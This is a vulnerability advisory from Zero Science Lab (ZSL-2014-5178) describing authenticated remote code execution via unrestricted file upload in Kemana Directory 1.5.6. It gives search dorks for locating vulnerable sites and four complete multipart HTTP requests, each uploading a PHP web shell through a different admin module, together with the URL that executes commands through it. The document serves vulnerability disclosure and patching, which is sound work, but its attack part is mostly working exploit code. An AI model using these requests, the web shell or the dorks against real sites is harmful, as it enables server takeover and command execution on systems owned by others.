? Kemana Directory 1.5.6 Remote Code Execution Vendor: C97net Product web page: http://www.c97.net Affected version: 1.5.6 Summary: Experience the ultimate directory script solution with Kemana. Create your own Yahoo or Dmoz easily with Kemana. Unique Kemana's features including: CMS engine based on our qEngine, multiple directories support, user friendly administration control panel, easy to use custom fields, unsurpassed flexibility. Desc: Kemana Directory suffers from an authenticated arbitrary code execution. The vulnerability is caused due to the improper verification of uploaded files in several modules thru several POST parameters. This can be exploited to execute arbitrary PHP code by uploading a malicious PHP script file that will be stored in '/public/image' directory. Minimum permissions needed for a user to upload any file: User level: Regular (param: user_level=1) Admin level: Editor (param: admin_level=3) Only the 'Super Admin' level makes the Tool 'File Manager' available. Tested on: Apache/2.4.7 (Win32) PHP/5.5.6 MySQL 5.6.14 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2014-5178 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5178.php Dork #1: intitle:powered by c97.net Dork #2: intitle:powered by qEngine Dork #3: intitle:powered by Kemana.c97.net Dork #4: intitle:powered by Cart2.c97.net 07.03.2014 --- #1 (Modules > Articles > Manage Categories > Create A New Category) POST http://localhost/kemana/admin/task.php?mod=portal&run=pcat_edit.php& HTTP/1.1 -----------------------------18727540915953 Content-Disposition: form-data; name="AXSRF_token" 12adff6127dfa3355ac24bad4a4c8687 -----------------------------18727540915953 Content-Disposition: form-data; name="qadmin_cmd" new -----------------------------18727540915953 Content-Disposition: form-data; name="qadmin_process" 1 -----------------------------18727540915953 Content-Disposition: form-data; name="primary_key" cat_id -----------------------------18727540915953 Content-Disposition: form-data; name="primary_val" dummy -----------------------------18727540915953 Content-Disposition: form-data; name="parent" 0 -----------------------------18727540915953 Content-Disposition: form-data; name="cat_name" ZSL -----------------------------18727540915953 Content-Disposition: form-data; name="cat_note" nothing to note -----------------------------18727540915953 Content-Disposition: form-data; name="cat_keywords" Zero Science Lab -----------------------------18727540915953 Content-Disposition: form-data; name="cat_img"; filename="shell.php" Content-Type: application/octet-stream <?php passthru($_GET['cmd']); ?> -----------------------------18727540915953-- Upload location: http://localhost/kemana/public/image/ Exec: http://localhost/kemana/public/image/shell.php?cmd=whoami #2 (Modules > qBanner > Manage Banner > Add Entry) POST http://localhost/kemana/admin/task.php?mod=qbanner&run=edit.php& HTTP/1.1 -----------------------------225222869427624 Content-Disposition: form-data; name="AXSRF_token" 52e9c9ff9bb251a144b82a662496f5b8 -----------------------------225222869427624 Content-Disposition: form-data; name="qadmin_cmd" new -----------------------------225222869427624 Content-Disposition: form-data; name="qadmin_process" 1 -----------------------------225222869427624 Content-Disposition: form-data; name="qadmin_savenew" 0 -----------------------------225222869427624 Content-Disposition: form-data; name="primary_key" page_id -----------------------------225222869427624 Content-Disposition: form-data; name="primary_val" dummy -----------------------------225222869427624 Content-Disposition: form-data; name="page_image"; filename="shell.php" Content-Type: application/octet-stream <?php passthru($_GET['cmd']); ?> -----------------------------225222869427624 Content-Disposition: form-data; name="page_title" ZSL -----------------------------225222869427624 Content-Disposition: form-data; name="page_keyword" http://www.zeroscience.mk -----------------------------225222869427624 Content-Disposition: form-data; name="group_id" QBANR -----------------------------225222869427624 Content-Disposition: form-data; name="page_body" This page is part of qBanner module. Please use qBanner Manager to edit this page. -----------------------------225222869427624 Content-Disposition: form-data; name="page_allow_comment" -----------------------------225222869427624 Content-Disposition: form-data; name="page_list" -----------------------------225222869427624-- Upload location: http://localhost/kemana/public/image/ Exec: http://localhost/kemana/public/image/shell.php?cmd=whoami #3 (Tools > File Manager > Upload) POST http://localhost/kemana/admin/fman/upload_process.php HTTP/1.1 -----------------------------76802486520945 Content-Disposition: form-data; name="chdir" -----------------------------76802486520945 Content-Disposition: form-data; name="n" 5 -----------------------------76802486520945 Content-Disposition: form-data; name="userfile_1"; filename="shell.php" Content-Type: application/octet-stream <?php passthru($_GET['cmd']); ?> -----------------------------76802486520945 Content-Disposition: form-data; name="userfile_2"; filename="" Content-Type: application/octet-stream -----------------------------76802486520945 Content-Disposition: form-data; name="userfile_3"; filename="" Content-Type: application/octet-stream -----------------------------76802486520945 Content-Disposition: form-data; name="userfile_4"; filename="" Content-Type: application/octet-stream -----------------------------76802486520945 Content-Disposition: form-data; name="userfile_5"; filename="" Content-Type: application/octet-stream -----------------------------76802486520945-- Upload location: Anywhere within the webroot folder and its subfolders. Exec: http://localhost/kemana/shell.php?cmd=whoami #4 (Contents > Slideshow > Add Entry) POST http://localhost/kemana/admin/featured_content.php? HTTP/1.1 -----------------------------9813040432632 Content-Disposition: form-data; name="AXSRF_token" 516e6705d27d7d242d948d16b18a6339 -----------------------------9813040432632 Content-Disposition: form-data; name="qadmin_cmd" new -----------------------------9813040432632 Content-Disposition: form-data; name="qadmin_process" 1 -----------------------------9813040432632 Content-Disposition: form-data; name="primary_key" idx -----------------------------9813040432632 Content-Disposition: form-data; name="primary_val" dummy -----------------------------9813040432632 Content-Disposition: form-data; name="feat_title" Zero Science Lab -----------------------------9813040432632 Content-Disposition: form-data; name="feat_img"; filename="shell.php" Content-Type: application/octet-stream <?php passthru($_GET['cmd']); ?> -----------------------------9813040432632 Content-Disposition: form-data; name="feat_url" http://www.zeroscience.mk -----------------------------9813040432632 Content-Disposition: form-data; name="feat_text" <p>TEST</p> -----------------------------9813040432632-- Upload location: http://localhost/kemana/public/image/ Exec: http://localhost/kemana/public/image/shell.php?cmd=whoami